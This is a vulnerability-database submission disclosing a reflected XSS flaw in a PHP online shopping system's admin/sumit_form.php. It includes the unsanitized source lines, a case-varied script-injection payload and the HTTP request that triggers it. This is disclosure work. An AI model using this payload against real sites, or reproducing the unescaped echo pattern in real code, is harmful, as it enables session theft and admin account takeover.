| 标题 | ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability v1 Reflected XSS |
|---|
| 描述 | ## ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability
### I. Vulnerability Impact
An attacker can craft a malicious URL that injects arbitrary JavaScript into the admin panel page, which executes in the victim's browser. This enables session cookie theft, CSRF attack chaining, and full admin account takeover.
### II. Source Code Analysis
The vulnerability resides in `admin/sumit_form.php`, lines 2 and 13:
```php
$link = $_REQUEST['success'];
...
<input hidden="" type="text" name="success" value="<?php echo "$link";?>">
```
The `$link` variable is taken directly from `$_REQUEST['success']` (accessible via GET) and output into the `value` attribute of an `<input>` tag without any sanitization. An attacker can close the attribute with a double quote and inject arbitrary HTML tags including `<script>`.
### III. Payload
The core injection payload is:
```
"><ScRiPt>alert(888)</sCrIpT>
```
After injection, the output HTML becomes:
```html
<input hidden="" type="text" name="success" value=""><ScRiPt>alert(888)</sCrIpT>">
```
The browser parses `<ScRiPt>alert(888)</sCrIpT>` as a script element and executes the JavaScript.
HTTP request:
```
GET /admin/sumit_form.php?success="><ScRiPt>alert(888)</sCrIpT> HTTP/1.1
Host: onlineshop
```
### IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/
|
|---|
| 来源 | ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul7.md |
|---|
| 用户 | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| 提交 | 2026-06-27 05時38分 (2 月前) |
|---|
| 管理 | 2026-08-25 16時40分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 395055 [code-projects Online Shopping System 1.0 /admin/sumit_form.php 成功 跨网站脚本] |
|---|
| 积分 | 20 |
|---|